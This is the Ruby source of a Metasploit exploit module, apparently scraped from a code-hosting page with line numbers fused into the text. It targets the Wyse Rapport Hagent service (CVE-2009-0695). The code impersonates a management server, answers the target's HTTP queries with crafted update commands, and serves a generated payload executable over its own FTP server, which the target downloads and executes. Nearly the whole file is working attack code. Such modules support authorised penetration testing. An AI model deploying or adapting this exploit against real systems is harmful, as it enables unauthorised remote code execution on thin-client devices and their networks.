Path: blob/master/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb
32545 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'timeout'67class MetasploitModule < Msf::Exploit::Remote8Rank = ExcellentRanking910include Msf::Exploit::Remote::Tcp11include Msf::Exploit::Remote::FtpServer12include Msf::Exploit::EXE1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Wyse Rapport Hagent Fake Hserver Command Execution',19'Description' => %q{20This module exploits the Wyse Rapport Hagent service by pretending to21be a legitimate server. This process involves starting both HTTP and22FTP services on the attacker side, then contacting the Hagent service of23the target and indicating that an update is available. The target will24then download the payload wrapped in an executable from the FTP service.25},26'Stance' => Msf::Exploit::Stance::Aggressive,27'Author' => 'kf',28'References' => [29['CVE', '2009-0695'],30['OSVDB', '55839'],31['US-CERT-VU', '654545'],32['URL', 'http://snosoft.blogspot.com/'],33['URL', 'http://www.theregister.co.uk/2009/07/10/wyse_remote_exploit_bugs/']34],35'Privileged' => true,36'Payload' => {37'Space' => 2048,38'BadChars' => ''39},40'DefaultOptions' => {41'EXITFUNC' => 'process'42},43'Targets' => [44[ 'Windows XPe x86', { 'Platform' => 'win' }],45[ 'Wyse Linux x86', { 'Platform' => 'linux' }],46],47'DefaultTarget' => 0,48'DisclosureDate' => '2009-07-10',49'Notes' => {50'Reliability' => UNKNOWN_RELIABILITY,51'Stability' => UNKNOWN_STABILITY,52'SideEffects' => UNKNOWN_SIDE_EFFECTS53}54)55)5657register_options(58[59OptPort.new('SRVPORT', [ true, 'The local port to use for the FTP server', 21 ]),60Opt::RPORT(80),61]62)63end6465def exploit66if (datastore['SRVPORT'].to_i != 21)67print_error('This exploit requires the FTP service to run on port 21')68return69end7071# Connect to the target service72print_status('Connecting to the target')73connect7475# Start the FTP service76print_status('Starting the FTP server')77start_service7879# Create the executable with our payload80print_status('Generating the EXE')81@exe_file = generate_payload_exe82if target['Platform'] == 'win'83maldir = 'C:\\' # Windows84malfile = Rex::Text.rand_text_alphanumeric(rand(4..11)) + '.exe'85co = 'XP'86elsif target['Platform'] == 'linux'87maldir = '//tmp//' # Linux88malfile = Rex::Text.rand_text_alphanumeric(rand(4..11)) + '.bin'89co = 'LXS'90end91@exe_sent = false9293# Start the HTTP service94print_status('Starting the HTTP service')95wdmserver = Rex::Socket::TcpServer.create({96'Context' => {97'Msf' => framework,98'MsfExploit' => self99}100})101102# Let this close automatically103add_socket(wdmserver)104105wdmserver_port = wdmserver.getsockname[2]106print_status("Starting the HTTP service on port #{wdmserver_port}")107108fakerapport = Rex::Socket.source_address(rhost)109fakemac = '00' + Rex::Text.rand_text(5).unpack('H*')[0]110mal = "&V54&CI=3|MAC=#{fakemac}|IP=#{rhost}MT=3|HS=#{fakerapport}|PO=#{wdmserver_port}|"111112# FTP Credentials113ftpserver = Rex::Socket.source_address(rhost)114ftpuser = Rex::Text.rand_text_alphanumeric(rand(1..8))115ftppass = Rex::Text.rand_text_alphanumeric(rand(1..8))116ftpport = 21117ftpsecure = '0'118119incr = 10120pwn1 =121'&UP0|&SI=1|UR=9' +122"|CO \x0f#{co}\x0f|#{incr}" +123# "|LU \x0fRapport is downloading HAgent Upgrade to this terminal\x0f|#{incr+1}" +124"|SF \x0f#{malfile}\x0f \x0f#{maldir}#{malfile}\x0f|#{incr + 1}"125126pwn2 = "|EX \x0f//bin//chmod\xfc+x\xfc//tmp//#{malfile}\x0f|#{incr + 1}"127128pwn3 =129"|EX \x0f#{maldir}#{malfile}\x0f|#{incr + 1}" +130# "|RB|#{incr+1}" +131# "|SV* \x0fHKEY_LOCAL_MACHINE\\Software\\Rapport\\pwnt\x0f 31337\x0f\x0f REG_DWORD\x0f|#{incr+1}" +132# "|DF \x0f#{maldir}#{malfile}\x0f|#{incr+1}" +133# FTP Paramaters134"|&FTPS=#{ftpserver}" + "|&FTPU=#{ftpuser}" + "|&FTPP=#{ftppass}" + '|&FTPBw=10240' + '|&FTPST=200' +135"|&FTPPortNumber=#{ftpport}" + "|&FTPSecure=#{ftpsecure}" +136"|&M_FTPS=#{ftpserver}" + "|&M_FTPU=#{ftpuser}" + "|&M_FTPP=#{ftppass}" + '|&M_FTPBw=10240' +137'|&M_FTPST=200' + "|&M_FTPPortNumber=#{ftpport}" + "|&M_FTPSecure=#{ftpsecure}" +138# No clue139'|&DP=1|&IT=3600|&CID=7|QUB=3|QUT=120|CU=1|'140141if target['Platform'] == 'win'142pwn = pwn1 + pwn3143elsif target['Platform'] == 'linux'144pwn = pwn1 + pwn2 + pwn3145end146# Send the malicious request147sock.put(mal)148149# Download some response data150resp = sock.get_once(-1, 10)151print_status("Received: #{resp}")152153if !resp154print_error('No reply from the target, this may not be a vulnerable system')155return156end157158print_status('Waiting on a connection to the HTTP service')159begin160Timeout.timeout(190) do161done = false162while (!done and session = wdmserver.accept)163req = session.recvfrom(2000)[0]164next if !req165next if req.empty?166167print_status("HTTP Request: #{req.split("\n")[0].strip}")168169case req170when /V01/171print_status("++ connected (#{session.peerhost}), " + "sending payload (#{pwn.size} bytes)")172res = pwn173when /V02/174print_status('++ device sending V02 query...')175res = '&00|Existing Client With No Pending Updates|&IT=10|&CID=7|QUB=3|QUT=120|CU=1|'176done = true177178when /V55/179print_status('++ device sending V55 query...')180res = pwn181when /POST/ # PUT is used for non encrypted requests.182print_status('++ device sending V55 query...')183res = pwn184done = true185else186print_status('+++ sending generic response...')187res = pwn188end189190print_status("Sending reply: #{res}")191session.put(res)192session.close193end194end195rescue ::Timeout::Error196print_status('Timed out waiting on the HTTP request')197wdmserver.close198disconnect199return200end201202print_status('Waiting on the FTP request...')203stime = Time.now.to_f204until (@exe_sent)205break if (stime + 90 < Time.now.to_f)206207select(nil, nil, nil, 0.25)208end209210if (!@exe_sent)211print_status('No executable sent :(')212end213214wdmserver.close215216handler217disconnect218end219220def on_client_command_retr(c, arg)221print_status("#{@state[c][:name]} FTP download request for #{arg}")222conn = establish_data_connection(c)223if (!conn)224c.put("425 Can't build data connection\r\n")225return226end227228c.put("150 Opening BINARY mode data connection for #{arg}\r\n")229conn.put(@exe_file)230c.put("226 Transfer complete.\r\n")231conn.close232@exe_sent = true233end234235def on_client_command_size(c, arg)236print_status("#{@state[c][:name]} FTP size request for #{arg}")237c.put("213 #{@exe_file.length}\r\n")238end239240end241242243